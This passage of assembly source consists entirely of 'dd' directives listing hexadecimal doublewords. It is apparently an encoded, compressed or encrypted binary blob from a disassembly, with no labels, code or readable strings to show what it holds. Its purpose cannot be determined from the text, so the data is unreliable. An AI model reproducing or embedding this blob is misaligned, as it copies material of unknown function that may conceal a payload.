2E89F3Eh, 0D7335EB2h, 606C4066h, 86580079h dd 0B653CF26h, 710032B7h, 8406BC27h, 18F38CCAh, 0CA7E1DD9h dd 28005FE3h, 522FE16Ah, 0E6B95BADh, 6DBF0010h, 0EF3D8F32h dd 0D50318EEh, 0E0AA79F3h, 0F1E02ECAh, 0E49B04BCh, 3714C166h dd 5C8190C2h, 0FAD6FD80h, 0DF18C077h, 6338C675h, 14572F3h dd 0EC0F4782h, 20AC461Ah, 12163978h, 0C300FF61h, 0F786ED0Bh dd 0E2020099h, 0B5BAE73Bh, 3C07B125h, 9D6F907Bh, 3E502D67h dd 635C83EEh, 86DA48FAh, 205B0CB9h, 8E003541h, 1BF7F03Ch dd 9144D8h, 4B03872Bh, 0F6893E3Bh, 80000899h, 84AB64E6h dd 0A87F7392h, 3E62C4h, 0B997E1A2h, 820EC49Eh, 1A8C648h dd 0FF3A3FC0h, 8850331Ch, 9530A6h, 0A2FC5966h, 213970DEh dd 98F6FA33h, 0EFAF98FBh, 596400DAh, 60C248B5h, 0A2A0F892h dd 4973AD10h, 89C49A00h, 0CAA276B0h, 0EDDF0070h, 5921ACBEh dd 660173B1h, 4A284B27h, 388020F7h, 0AEBEC385h, 2305A8A7h dd 2D1182F4h, 0E0CBBB00h, 7C0D2E2Bh, 0A5D00071h, 0CFDA7983h dd 0BD00628Ch, 47A25893h, 178294h, 806B28FBh, 0D71E6E60h dd 0CB451300h, 52FC264Ch, 0F17B11h, 50DDAC8Dh, 89056CE8h dd 0A779B400h, 0C89CF2A3h, 0B71F18D7h, 60E15913h, 0F3849500h dd 5ABACA5h, 9A8F001Dh, 0F73794FFh, 8B0A2CD2h, 0C0D9724Ah dd 0FAE6B401h, 39D08308h, 3A290013h, 7EA430D6h, 0C703DAD0h dd 148D4E34h, 0A6CAA0C1h, 2DC900C5h, 0E4899FCFh, 713CE25Ch dd 511BBEEh, 96DF201h, 6E53EBC0h, 0D010005Fh, 392DFEBh dd 307A055Ah, 6F4BDB00h, 60C4CC28h, 0CA45953h, 0EE13FF00h dd 0BCE4641Bh, 0C5266D07h, 0EFF33AE0h, 2C46E0ABh, 259700C9h dd 7E227562h, 3E072E93h, 9B5A080Bh, 40641060h, 0B18500D2h dd 0BAD66345h, 778DD11h, 5262EE13h, 0F26F4400h, 0C01AE0ECh dd 0E1C4EA79h, 0EE006899h, 9E585991h, 4D34EDh, 0EF9A0424h dd 1F9789F5h, 37D4A00h, 53C5697Eh, 73240183h, 0A6E91E22h dd 9B29A8B8h, 2E1F620Eh, 55C920CAh, 2DDE69h, 527CE80Dh dd 476C0105h, 0F4000BF2h, 86662B33h, 724F2790h, 5A7F003Eh dd 0B48895DBh, 0A2005B0Bh, 1F445533h, 56A914h, 311D32BAh dd 0A42278Ch, 6C835E00h, 80072F8Dh, 8A6D00DFh, 9679E88Bh dd 940063F1h, 19519E2Dh, 3D1E15h, 0C1A1E94Dh, 47246BCFh dd 532420E5h, 1C93D358h, 3CC05D0Fh, 558E8428h, 0D7020074h dd 0B08115EDh, 3CB00513h, 73701B48h, 7952BE2Eh, 0A55D8B04h dd 22A04081h, 0A632C9C3h, 0C2109Ch, 2C492976h, 3E00270Ch dd 30CBD781h, 0B0E4F611h, 6C410000h, 0F705F2D9h, 0A03AA85Bh dd 0D454809Ah, 9FA5715Ch, 0ABF00F2Ch, 7305101Ah, 7B702B5h dd 0CD403F7Bh, 49092CEh, 0AFD35A03h, 0F4DDCBCh, 0E11F5BE9h dd 0CC0ECA0Bh, 0C0F346E4h, 6B3102F1h, 728163Dh, 24F73297h dd 903E8EF0h, 8D38009Eh, 66755A56h, 53583509h, 34267CD4h dd 3C835C68h, 0E8D9C65Fh, 0A0593F2Dh, 2C314F3Ch, 47845D3Bh dd 67917055h, 0D03BEE2h, 8B415FEBh, 24C7A86Dh, 4CF300F4h dd 28E83B9Fh, 621DF0D6h, 0B022361h, 4B6B93BEh, 4103F950h dd 0FAC49834h, 74C6FC8Bh, 38A6E5E6h, 735180C4h, 6B3F904Bh dd 0BC9F9F50h, 7D19DD3Eh, 2698920Ch, 315960F2h, 9AC96B2Bh dd 4B93E08Fh, 161C910Fh, 2C0E3E69h, 2B299Bh, 0C4D2A55Ch dd 0B6700AF3h, 0EEE7C0h, 20613B66h, 411E2AEAh, 380F7C71h dd 6D8207Bh, 7EC1F95h, 686DE388h, 0F147C002h, 9300FCB7h dd 83CE89C1h, 7240F8h, 0AC615CBAh, 0A0158892h, 44E0A700h dd 0C654A9B8h, 0DE7D00FBh, 2AA10D96h, 0D300052Eh, 0CB35F211h dd 7CD11780h, 233000C8h, 796A3EC6h, 36B88BDFh, 0B978D61Ch dd 0C9E1B080h, 25BB49Bh, 9D67F043h, 98A1D725h, 0FC27C5BAh dd 4A0CDB51h, 8AB5941h, 1421C0E5h, 0DFFB27BDh, 0A9BA8A13h dd 6E6DBB00h, 0B853584Dh, 0E1F00C05h, 2518AD09h, 1339E660h dd 14615B5h, 39CAA426h, 0F092B203h, 0E374DB0Ch, 0DE12AB00h dd 24E8F4C4h, 0C1C70F4Eh, 98A0C22Bh, 0D0724359h, 4F1FE8B0h dd 0E90D2C37h, 0A0741867h, 7570013Ch, 0BA66B04Dh, 801ED3EDh dd 0DA069BC8h, 4491B3BDh, 0C2008DD3h, 0C095DE1Ah, 3155C5C6h dd 0C1C0424Ch, 5900DBFDh, 7564D87Ah, 0F61CF0FAh, 0CB0AC08Dh dd 0D227B321h, 60DAA631h, 7180B10Dh, 64FB529Ah, 0B80FA94Bh dd 8091F137h, 40327F85h, 0B1DB1FACh, 1E3B80C3h, 14A8185Ch dd 7B319100h, 546CF2E3h, 0E8440085h, 0A9784F01h, 75007340h dd 5A7650C8h, 0FC876C09h, 7BE3017Ah, 619BDD83h, 0B472D01Ah dd 7F1DE800h, 0AD11A3F9h, 99CF00E1h, 0A13E660Ah, 0AE0039EBh dd 165123B9h, 6D06DE5h, 3A044E30h, 0DC0019B0h, 42C9B533h dd 2017A418h, 3C001EF2h, 0C365D46Fh, 60756EBFh, 73DC30CCh dd 0D200F145h, 0AC80D89Dh, 72C8E3h, 0ADA93417h, 0C3085FFAh dd 2C3C3A50h, 0B8687503h, 0E277263Bh, 324B23BDh, 0AF8B62B0h dd 1491750Fh, 8ED2E13Bh, 0BBD5CAF9h, 6D2997h, 28D61646h dd 8100D1A1h, 3160D9D5h, 7B5122D4h, 81460B5h, 71645CB9h dd 6C6D2D00h, 629F4B3h, 0F23D07A0h, 131591B8h, 0C0AD73D1h dd 0A4B2AE4Ch, 6AD33F0Eh, 4ED24181h, 0F0A05838h, 19C76184h dd 892644B6h, 346A361h, 523EF9h, 30602310h, 0A650322Eh dd 8E784300h, 9629CBDDh, 68BD146Ch, 6139BB5Dh, 732E726h dd 10917037h, 1B88CA3Eh, 0EC315900h, 0FDE6CC30h, 0D4333060h dd 0A3795628h, 3FEDC701h, 8FB58E44h, 49620898h, 0A300A0B0h dd 5602EB49h, 18D1649Bh, 41361076h, 0CCF1D00Eh, 10C1D20Ah dd 826D3AEDh, 27E22880h, 90728691h, 0E3E9360Ch, 0F0743977h dd 0C08EF6A5h, 149B3A11h, 9A0613FCh, 72196473h, 21846008h dd 3C14A3CBh, 63401C00h, 33FAA6C9h, 0B0964490h, 7C04B67Eh dd 0C39DA726h, 0E9BF28C0h, 81DD6017h, 8AE3E897h, 0A9CBB88h dd 34BC9146h, 83A31148h, 91061499h, 7E0C72CAh, 620CD89h dd 1FB5FAE4h, 9C1EC0h, 0E678D1EAh, 9A1C32A3h, 0C9057D85h dd 8C0FE84Dh, 2D284036h, 3A949EEh, 0AA0AC31Fh, 50EFCF6Eh dd 63BFA199h, 47D428C0h, 37AF3C5h, 0D35274F1h, 830CCE8h dd 0C024213Eh, 474403F3h, 909E3CABh, 0FC671903h, 0E0A129EAh dd 0D8CC19h, 0ED243CE6h, 90F05898h, 2C299461h, 9EEC9565h dd 0D39C1D2Dh, 6798012h, 588ED916h, 0E8707C00h, 1952D668h dd 3F0C000Fh, 67B24831h, 71C06E6Ch, 0A722EDE8h, 0B33A0AD2h dd 74EC4D13h, 8D008546h, 6E44051Bh, 2B050932h, 0E64D843Dh dd 0C60E9C40h, 0EE6C22DDh, 7A9B00DEh, 0A926FE87h, 6E1E15F4h dd 0DF5F5758h, 0AE160D80h, 7EC1Ah, 9071D4A5h, 0A0A165D0h dd 22403748h, 0F50B045Ah, 40928FDEh, 1BFB94BAh, 0DAAE0287h dd 89C92550h, 0A1F91C4Bh, 9A52CC61h, 9309965h, 3F23D82Fh dd 1B327E00h, 0E9500Fh, 5EE6A045h, 69A6EB96h, 18A19CA1h dd 8143997h, 0B172BA10h, 6AF89FCFh, 0AB0D0E24h, 0A1E2FCD7h dd 0C0403895h, 50803011h, 844D201Dh, 0B2C3305h, 5C209F99h dd 2378F3C7h, 3A11E4F1h, 0F3C22E00h, 0D7DA0D8h, 7FEBFE02h dd 89EFE8A3h, 12BA7C54h, 54180241h, 306090A9h, 4866138h dd 0EDC4A36Eh, 205B62A7h dd 63A37675h, 8C03DB00h, 0BCDAFA3Ch, 6B01189Ch, 0F4E65845h dd 70988DFCh, 377D1900h, 0E8EBCE2Bh, 89DB67E4h, 77C3817Ah dd 9A11800Eh, 0D5ED6A95h, 6DE407A8h, 735E9B20h, 48288C9Fh dd 0B0C85012h, 0A37CC032h, 7746EDC6h, 73005D22h, 0A2D5A3A4h dd 571B35E1h, 207188EBh, 18126353h, 886E7382h, 51681F71h dd 50CE806Ch, 958C102Bh, 551A3100h, 1EF85D92h, 0ED9300E6h dd 3FA64C27h, 6A00E990h, 0D15FBC64h, 6B3DD1Fh, 0B19B6961h dd 8C0091AAh, 0D24D4CB7h, 268F58h, 3251E42Ch, 0E95F159Fh dd 0D78B0218h, 3717EC40h, 0A058A555h, 31F3E428h, 16C4C500h dd 0BC6849F6h, 0D0D5494Eh, 4DFA7400h, 2D345E9Ch, 2466327Bh dd 7A21E008h, 0B04E0192h, 0F5DE930h, 0A3442006h, 0F3C3048Ch dd 0CEC4F17Ch, 0BE220078h, 8F8789F3h, 0D6051E19h, 8331315h dd 0C4C7A49Ch, 0BCF179C1h, 21883918h, 0FBF300BBh, 0C26BF29h dd 0D01DD89Eh, 3FA1A4Dh, 0EB25A757h, 0A5A02313h, 6EF3B103h dd 3D62B4F1h, 0F3BC2820h, 9350016Bh, 40EBAE01h, 9464DE67h dd 0AD17EA09h, 0B34880BBh, 9037695Ah, 0DD6701D0h, 0D41D546Dh dd 9A4C2055h, 0B0ADC23Fh, 8E2188BEh, 102C9232h, 16B82B1h dd 994BD6Ah, 23F56DE0h, 180E3460h, 20499EF9h, 820A13E7h dd 2020A4A6h, 8C0D5170h, 0BC40734Ch, 40018C71h, 0EF05B0CCh dd 72D9B6F7h, 52266888h, 24A86C00h, 0EB0841h, 0E93196D6h dd 42DFC45Eh, 71890513h, 97954C0Fh, 1C3A4C12h, 6C005D23h dd 7BB89450h, 77BE2A8Bh, 32C01CB8h, 1E958072h, 6A59FC4h dd 71870100h, 650BFA8Eh, 17B21997h, 224A3064h, 30BBF268h dd 0CD01ECEEh, 75E75ADEh, 0EBE83B85h, 73911507h, 511F472h dd 8270622Ch, 33340068h, 0F228E196h, 6E2C9473h, 0BE05C7EBh dd 30958DD3h, 0F400406Eh, 0B1B59459h, 7D000664h, 8F992680h dd 7061E7h, 0FF61BEBh, 90753E08h, 21E0B8ADh, 0CC7B0h, 0BD6C9EABh dd 6DE233A0h, 362F1A00h, 13B148E7h, 160E3478h, 8FC0C059h dd 0E811B64Dh, 13058EEAh, 348FAE9h, 0BFA06680h, 99DB2802h dd 9367DCB1h, 763E4CCh, 5C5E97B8h, 0B8222E43h, 4DFF9100h dd 259482C8h, 28BFCC0h, 0E57DC7E1h, 0B0408F6Fh, 9B0BB570h dd 8E348C64h, 1380D508h, 320CD811h, 2CA0888Fh, 11309606h dd 0B0A132E7h, 0B76D0068h, 8FF8BE19h, 4CB19A1Fh, 85BB1121h dd 3C814DFBh, 58522CFCh, 339520E3h, 7704414Eh, 8B7D056Bh dd 6AED1C80h, 0D864015h, 0D0BE0C05h, 40C1B367h, 880F9A9Eh dd 0ABCFC03Ah, 550080AAh, 317885FEh, 0A913E1Bh, 6387ED7Eh dd 4D5D0390h, 380062F1h, 0F87DAF54h, 299968D3h, 59704CB0h dd 72C518B8h, 4FB601EFh, 0E935F168h, 480702Dh, 48ED5D24h dd 0B9193A60h, 36F91414h, 5203B462h, 8BB29AA8h, 0C0B09140h dd 806778Ch, 2D145E98h, 8E40BA64h, 0D1EA4DFEh, 0A8FF5D00h dd 0E9140FC5h, 3C3F48AAh, 0D579C09Ch, 0ABB19761h, 0A2346853h dd 0EBBC30DEh, 3A1E4F7Dh, 0B4BC0C62h, 0C88721D1h, 0FDF20267h dd 6E4041EFh, 5A787889h, 61C80C82h, 141D7500h, 13C4A08Eh dd 388649D9h, 90019C48h, 0D7733DAh, 48C28C9h, 2BB962EDh dd 651D1480h, 0F59B79B6h, 998FB01h, 3CE2F862h, 0F89930h dd 7571162Fh, 0FDDC4FFFh, 9AB96E62h, 328C41F6h, 0A2A27413h dd 9C0F1CCCh, 7213FB14h, 0CC00E4CBh, 94CB14A4h, 42077DD7h dd 0EB317963h, 69164D57h, 38564888h, 77963500h, 0E56B2E1Fh dd 0E1C0B614h, 0A2E9088Ch, 0B918004Fh, 0E5864019h, 53675804h dd 0A0CF9973h, 0A3CF3A88h, 0D834024Ch, 2A75FBC9h, 43A8A067h dd 0B83858FDh, 1C398C3Fh, 0DFA789DEh, 62700632h, 2EEBE4C1h dd 0BB0CD9FFh, 39995A08h, 31D0E702h, 57F88745h, 6AEB0278h dd 108095CDh, 0E77A46Fh, 0A2D42620h, 0C738A075h, 22EC4BCh dd 8451A0F4h, 7C604249h, 8F6CF6DBh, 1FD429D0h, 0A6F11FF0h dd 0ED4D0C3Ch, 94003B19h, 63F9E7F2h, 240CE9CDh, 8302C20h dd 70AE26Eh, 467C8899h, 0E2F6043Eh, 4C0FC01h, 98186BD0h dd 7FB124EBh, 0F092BDC0h, 0B818588Fh, 4013BAFCh, 0B43F7D4Dh dd 8C03B823h, 88900A73h, 4C561020h, 0A8484979h, 23482BD7h dd 8F803F40h, 9CE1DC88h, 0B7550181h, 0BB48F9ECh, 0D71D2829h dd 39FEF081h, 75BF1B68h, 0A3F2A821h, 43051394h, 0C0BE1F15h dd 97751B46h, 39121EFFh, 406CF4h, 9C0DE63Bh, 62D100E3h dd 0F0CF48F5h, 1098528Ch, 0DFB8F107h, 0A4B427ECh, 446C08B4h dd 0A13B2EB2h, 0B18B0431h, 102F44F2h, 8D84BF34h, 0EB12C6Fh dd 1D594796h, 31E8E14Dh, 88ED60h, 604E7908h, 3EB3F9DFh dd 2100DEE5h, 30F1235Ah, 5955FFAh, 0B1140846h, 67A04312h dd 0ECE1D781h, 450060A7h, 0BD46FCA6h, 994DFD02h, 0CC670C5Eh dd 4E359301h, 0A8437C8Ah, 76198EEBh, 0A90F3634h, 0F42C68B1h dd 15808023h, 7B36AD01h, 1D6C0970h, 18C56F28h, 465C9C2Ch dd 1834C60h, 0C0127A9h, 50F54D1Fh, 29087FCh, 0DA65D6FCh dd 8EC23A8Dh, 58EA9C00h, 0A688EC4Dh, 9DD900C5h, 77BD23C3h dd 8C301D54h, 0C19A9887h, 27E20BDDh, 0B44085ADh, 0CA014140h dd 11A86CA3h, 1864D033h, 8B212052h, 0C607EC0Bh, 37BC0009h dd 12B0FC25h, 90315AB3h, 775FDE58h, 0C4203353h, 8640D65h dd 7DC0318Ch, 46EDC3A3h, 5E229Fh, 0E4A3A574h, 8BD669E3h dd 0FF806099h, 0B7B9527Eh, 0B50F02ACh, 1F1351E1h, 0DE790851h dd 12F7E419h, 0D3FC6F00h, 6CF6139Bh, 8E7320F5h, 10947948h dd 9013C310h, 53C4393h, 4BE898B5h, 2C016273h, 0ED5E5535h dd 38A68957h, 839E117Ch, 91071498h, 7F0C72C2h, 0FCA0D088h dd 0DA7A12F4h, 594009F3h, 532FCCE0h, 0AC9C1D28h, 6801974Fh dd 86251FEAh, 9A791041h, 7099D806h, 5F1874F1h, 0FC707201h dd 1679B05h, 0B8206CE1h, 79AC914Dh, 0FE3019BBh, 84C83F94h dd 0B1319700h, 20160E3Ah, 0CBE190Ah, 7744948Fh, 0FA149D60h dd 11AA1323h, 0A5D91886h, 0C63A20h, 267F7815h, 0FC6EEF75h dd 7389FE0Ch, 413C6036h, 0CCE8008Dh, 2900BB94h, 9C9FE353h dd 0A17C42h, 0CF40AB88h, 0B2B8AE28h, 590D9D00h, 0FB29A520h dd 0E94A00EBh, 286D533Dh, 0BC00711Eh, 0A3115FB3h, 75AFFDh dd 6B01FC85h, 0C6D5270Eh, 17000372h, 4B1E7113h, 5A9445h dd 33344CCDh, 666299A6h, 0C0CC4203h, 0B8ADE5DEh, 685384h dd 0FC205B45h, 32FF1B0Ch, 2603EEE8h, 893F41D2h, 0E92AF329h dd 8984821h, 397721A5h, 5A7B3F00h, 0BD138453h, 0B5071FFEh dd 1D660C32h, 0F00C649h, 0AB9ED1CDh, 6FA809E8h, 21380873h dd 0CD00E6D9h, 2CC842E5h, 10F76A03h, 7E265D73h, 0A49E3C00h dd 0D30123E8h, 678900C9h, 49177C2h, 0AC0343BDh, 0FDD12D81h dd 0D6993F9Bh, 41191B00h, 1548B922h, 0D4691C0Ch, 77642031h dd 5DC8033Eh, 3824A220h, 542145E8h, 84F73628h, 347687E6h dd 5A0AA30Ch, 0CE4887Fh, 0FE74D125h, 90000E99h, 928943F3h dd 3A7108D6h, 1518D5DAh, 97B12027h, 0BDC8F300h, 0EAA386FAh dd 3F60052h, 0FBB660E0h, 3860CCEDh, 762A32B1h, 0A17E0533h dd 22A3677Ch, 10303AA4h, 9ED211CDh, 87CB8803h, 70CDE7E0h dd 57EF1E9Fh, 0DCA160C1h, 2842D8A6h, 0CD19303Bh, 0DBA01711h dd 0E0ACC388h, 0B2E0CD00h, 32C108Eh, 0BB2A7E80h, 581032B3h dd 9E00C916h, 873D75EFh, 0E6006EB4h, 4150CCA4h, 7C5D4Bh dd 6FB02747h dd 0C80FE3BEh, 3A39D200h, 0B96DEF83h, 720401ABh, 9E48906Ch dd 58D8C860h, 0A1F49F03h, 0A021E3FCh, 786FF8Fh, 290C7B89h dd 0DA60EFCEh, 0EAE5FB2Ah, 0D9208C00h, 46E0D60Eh, 0EC440090h dd 0E764BCF9h, 1475FF61h, 78C2AA00h, 6B7FB70Bh, 393701CEh dd 768A4AE3h, 8CA1F079h, 0C74F7800h, 0C8EC926h, 9CEA01BCh dd 0AD24FB9Bh, 0F833D8CEh, 0E8F31801h, 522E618Fh, 87423880h dd 98B8C3EAh, 99EE2000h, 0F337017Ah, 0C4892004h, 0FE2FF01Ch dd 251E8683h, 0DF2000AAh, 0D506B4EEh, 0B20005A3h, 501A09CFh dd 987D2073h, 18776037h, 0F211A4B7h, 6F56F8E1h, 14C358h dd 0CA0B9D81h, 3625B48h, 0FA601BE5h, 0F9C8B10Fh, 0BC00CC78h dd 2B678652h, 0EB1018h, 0B3ABB1Dh, 4D2FC841h, 0FAC9BF05h dd 80419BB5h, 0C3FD24F3h, 0A668B08Ah, 19848098h, 51E01E38h dd 7D5EAE60h, 0C730B4C0h, 10E9B040h, 0B28CD2CFh, 4483A700h dd 25103A1Ch, 639D3C7Dh, 0BF9600F8h, 1FEBB30Fh, 29C3F88Ch dd 0B0159082h, 0E1CB8C7h, 0F69D6B98h, 99D27220h, 2A0633BCh dd 0AB6EEBB5h, 6FB40330h, 0BD58603h, 2C8E1000h, 5376FAAEh dd 55E100F8h, 6850832h, 8C00198Fh, 123C4070h, 0F7A8DFAh dd 21B9A0B6h, 78413101h, 1D1883F9h, 19F70EBh, 0AE39ED61h dd 0E4040CFFh, 0EA0C5F9Bh, 218DFCE0h, 0DB6F00BFh, 702CF1AEh dd 1900B63Eh, 7982ABC5h, 90EE1A47h, 2D223D6Bh, 48467076h dd 8F0100E6h, 72B1173Dh, 0C2B9CC11h, 33429800h, 5BEB23AAh dd 0F7100FD9h, 40211E8Ah, 808E28B3h, 0A10EA770h, 0C991C71h dd 88846942h, 0B11C8A19h, 5B8EAA7Ah, 0C00381FBh, 45607221h dd 681D071Bh, 0F0AF8579h, 0D5713F29h, 3F4F0C3Ah, 0E64480F0h dd 3159F9EFh, 0D9AE00BAh, 84E017CFh, 0B40C6C67h, 182170D4h dd 336D1C59h, 0B2EA4095h, 0C276089Fh, 693273Ch, 1B3CFC9Eh dd 0BB700C28h, 0CC6128A9h, 0C2530403h, 0F0FFD72Ah, 3055859h dd 0EBC0D9ABh, 0BDA93189h, 0F1A620BAh, 0BB4F1B0Ch, 442828ECh dd 0AA043D03h, 0BAC2EBA7h, 0B23A1A80h, 0EA9201E3h, 6BCF0F06h dd 1CD1A176h, 19F0989Fh, 35A1FDBh, 94315F6Dh, 98216BEAh dd 74B20359h, 0C077BC90h, 21D0AC70h, 40DFA85Ch, 3E00D2EFh dd 5D4201Dh, 60D5ECAh, 690F0EF9h, 710020F7h, 0BECFDB30h dd 506402F0h, 11290F5h, 9187B635h, 84E79988h, 9A50EB1h dd 9DFD1780h, 21590074h, 235B3FC1h, 1C63BF48h, 3B89928h dd 1BB64A31h, 0DCE0AF78h, 12602572h, 4916CF18h, 17DB1F09h dd 6403C6D8h, 5D00798Eh, 0DF6DD2B1h, 50D54508h, 20D1A07Fh dd 59150E11h, 7984875h, 0D33389F3h, 0AE9C3B60h, 9E150025h dd 297EBF8h, 180CB8B4h, 794B6CDCh, 9B091481h, 2322240Bh dd 2A2E600h, 485EBA92h, 504BE272h, 97DECD1h, 1623FE70h dd 0EB2F1C20h, 5801D6B6h, 0D0B8CBD4h, 0E3D0CCC3h, 5520C170h dd 0F01DB6D2h, 0A305395Eh, 7279747Eh, 70C79883h, 1244351h dd 58D4B819h, 2A0CCCC4h, 0C08F21C0h, 7A6BAB7h, 0D2043F70h dd 0FCA9F13Dh, 13508AA0h, 5832F4E8h, 0DF5490FAh, 58D214B6h dd 2D882C74h, 0B6E71980h, 5058ECDEh, 18D3A4DBh, 0C9DA80BAh dd 2E0EB240h, 0A7D6E50Ch, 0BEC2E0A9h, 0CAD044BAh, 40640370h dd 58D3B6ECh, 91CD0C21h, 0D41A0028h, 800E8EB6h, 7E3F0F23h dd 0D7699A7Fh, 740C9800h, 7490CBD8h, 9E3A8B1Ch, 0A502E0A4h dd 4497D34Fh, 6DFB0328h, 24850F43h, 539CEDF0h, 1362A474h dd 6125DD21h, 8CF0FC4Eh, 0E5263076h, 0EDB85DD1h, 0DCFF060Eh dd 1166E0D1h, 997F50h, 443F47ABh, 273B6F1Fh, 0C623D01h dd 0E4C2B55Eh, 0CB838045h, 0BE7AEB12h, 3CBB010h, 3634F1FBh dd 0FED88631h, 0FCFAAB53h, 9AF9A600h, 55FD07F2h, 425D00BFh dd 2E0C2071h, 0E20E89B6h, 0E2947C23h, 0E0C59B92h, 0BC8E86h dd 0D9FD6156h, 0DC27DA6Fh, 2BB3B203h, 984E97EAh, 70416542h dd 4D60001Ah, 1B7C4452h, 4500A932h, 7283365Eh, 0FF3034h dd 0FEAC1DE1h, 0F47F3C8Ch, 16529A03h, 0A049B7B0h, 591063h dd 0A12EA0ACh, 33D487AAh, 3188523Ah, 0A53621FCh, 3C6B570h dd 3518A4D1h, 3ED09E23h, 2718637Ch, 0F92814BEh, 96590076h dd 0B347E736h, 1F63DF3Eh, 0F646A08h, 96219920h, 4D858340h dd 0E3000CD2h, 135C7540h, 14652364h, 4CB2BD66h, 95D22200h dd 0B10452B7h, 0A4020B71h, 62468524h, 31E0DF9Ah, 16295310h dd 0B30768B5h, 8222F1A0h, 172B1880h, 0FCB07F80h, 221601DCh dd 214B240Dh, 64F8E4E6h, 48A8666Ch, 3979003Ah, 0CB1729B0h dd 78B505C6h, 69100C66h, 83295FFEh, 0AA0B2803h, 932A131Ah dd 990930E2h, 0ADF2321h, 4B0154FAh, 968F2B03h, 88505BC1h dd 3EDE6620h, 64581240h, 346CAD01h, 52624179h, 0B130B3D4h dd 0A1273EA0h, 0F79188A1h, 9DA63901h, 40DF8E79h, 968C3B94h dd 1AD73A00h, 11F63D4Dh, 1607076h, 0B61B6670h, 0D017D6FBh dd 75017856h, 0E622B3F2h, 0A8C8FA04h, 5BB10044h, 2ADDB406h dd 57004C98h, 0B0DABB6Ah, 3C60BC65h, 0B900F816h, 0FCAFC339h dd 660036A2h, 8C3191BAh, 48580FEFh, 770760F0h, 20FC5F44h dd 0DDA91F56h, 0E311CD00h, 5B39B206h, 85DF0066h, 516F4B3Ah dd 700E63Ch, 0B368874Eh, 2CFE9BF6h, 0EDD5ABh, 7809AE37h dd 24020C54h, 77B0E8FBh, 0C1CB4032h, 99593D48h, 1F69680h dd 0D13F4CDCh, 801B1E3Eh, 0A8D328D5h, 7E6E4Ah, 0FB18F2E0h dd 67B2A33Ah, 0D6B51500h, 5C9789FEh, 6C3F8FCh, 0D2287B56h dd 96211868h, 0E1948842h, 48313E44h, 866A08AFh, 6971B811h dd 0DE766622h, 30D5A430h, 0E9E01A37h, 61421301h, 0C5FBD0EAh dd 0DA5F1100h, 63CE4636h, 6020C037h, 2394CA85h, 85A150C8h dd 0F25A98h, 155C9F1Ch, 0B13C9B02h, 6F921E77h, 670E121Eh dd 0E00F037Bh, 10711E73h, 0D920A14h, 8491E08h, 988FE4DFh dd 0D19980FEh, 0C141DBBh, 65F83954h, 0F639DC79h, 0B2C8E386h dd 807CC8h, 0FD79FF4Ah, 0C642241Ah, 0D18C160h, 0DEE59B6Ch dd 55042959h, 6307DFC1h, 0CE7BA841h, 0E0C451DCh, 0F5DE00C8h dd 0A8B3C313h, 77FAFE6Bh, 39503403h, 79DD857Bh, 77E08429h dd 40FF9388h, 12F97D4Fh, 0F22A11A0h, 0B8217F24h, 10AC12C6h dd 0BB896EF7h, 982127CEh, 0F300B891h, 4B8B7F56h, 0C100B583h dd 0F9AEC5E0h, 38DF8D9h, 962B6E6Ch, 0BCE30CA5h, 7046C78Fh dd 638265FFh, 0BD1F7300h, 0FDE2B41Eh, 9718009Bh, 0BA029032h dd 49068DEDh, 0BD82D10Bh, 5857791Ch, 0DC1E24DAh, 2A030047h dd 68155524h, 0E103BA7Dh, 5C95DF1Ch, 0E869C88Fh, 0E74B2639h dd 0A67C1CBEh, 0D2420042h, 827DA851h, 0C072200Eh, 262EAC50h dd 4736001Ch, 0DE3966D0h, 0AE15C705h, 0D434DAh, 415C5EA2h dd 38DCE612h, 0E980FA35h, 0CF0F096Dh, 0EE70941Bh, 0E5889F0Ch dd 349008h, 0E3626BFFh, 0B2C2B65Ch, 407B4100h, 0DBA10BFBh dd 4194820h, 9963CF00h, 73F83C78h, 0E971FF00h, 0DB4EEDAAh dd 0EAA63FE1h, 0B06C1681h, 0C42D112Eh, 7C0017E4h, 0FDDAC1D3h dd 253F26A8h, 0F0F4B26Ch, 1C32D900h, 17650BFh, 99E2EAF0h dd 6162225Ch, 0ED18F007h, 2D1BC10Ch, 9DF189Ch, 4690DBC8h dd 78431A83h, 0D39F54C8h, 8006883Ch, 1B1C3384h, 79FC8136h dd 0E6463817h, 0FAA8180Fh, 723CBE00h, 8DB8B1CDh, 0BC3F5500h dd 0E35280Dh, 0AB24002Dh, 0C4A3B65Dh, 0A477AADAh, 70DC912Fh dd 12E10000h, 4B812CD8h dd 0F2010E95h, 5A3A3D0Ch, 0D73023C6h, 0FA7400E8h, 0D5582C83h dd 1C0F4BB1h, 2095FB14h, 0C3D4088Fh, 2C514CFh, 4400C0D8h dd 34F540CAh, 7500B47Fh, 0D017F0DAh, 4A2A1Bh, 88EA592Eh dd 0C17DFC54h, 44000770h, 3373579Dh, 17ECA2h, 0B9FA3F47h dd 7EEF6CB0h, 9E79512h, 609C3000h, 3CEDE5BDh, 0C1018F16h dd 0E6B3EC32h, 0FCD7D0BFh, 79986B90h, 0A22DC728h, 0BED92C03h dd 9043F5F6h, 6A0DE6h, 8522AB2Fh, 2163AEEFh, 0E81ED900h dd 0FFE4E028h, 0F8AF020Fh, 4B2D4346h, 1E40C18Fh, 0E9D8F277h dd 49559h, 59558BFDh, 0F53173h, 71EF3CAEh, 0F225672Dh dd 4A03B902h, 8F2228F1h, 692E0F1h, 38CDC2BAh, 4200B4FDh dd 5750F43Dh, 0CC00B0CBh, 0C80D0F0Ch, 82BD1Dh, 1E35AF6Ch dd 0D637B666h, 23D42F00h, 155B1A22h, 0F78600F5h, 362AE81Bh dd 0AE0B5A2Dh, 0DD6E0D4Ch, 34469000h, 320040DBh, 2E27A7F5h dd 38184416h, 0BA9F107Dh, 0E277C057h, 6F0AB336h, 59A22603h dd 0E5D3BBAEh, 15626FC0h, 0F1EB01F7h, 0CD1D6908h, 0C3C8C7DFh dd 437CBFEEh, 84455828h, 0CC153300h, 0F244674Ah, 0AC115081h dd 0B81A00BBh, 0EBAD36CFh, 593E64AAh, 197A0005h, 0A6BDE206h dd 33A00441h, 0D05F7E62h, 0D7D2CD44h, 40947126h, 7DEAD03h dd 980A8B0Eh, 2A3448CBh, 7BC0B3Ah, 1EDF9786h, 0B43B209Bh dd 0B4A06DF4h, 0C412282Dh, 1800B915h, 0C8679916h, 922B807h dd 5395F40Eh, 4FC13C83h, 90870DB0h, 0F5762F00h, 7CB2D44h dd 9F8D1485h, 6908F8FFh, 78003AE6h, 0E3F6C773h, 11560433h dd 0C0C610ADh, 5C5F634Ch, 230C23Ah, 26D81E9Eh, 55CC4077h dd 0A1E4003Ch, 0BE86C714h, 13DDCF1h, 234780B1h, 88021C1h dd 39F70029h, 5924E4E3h, 13715E4Ah, 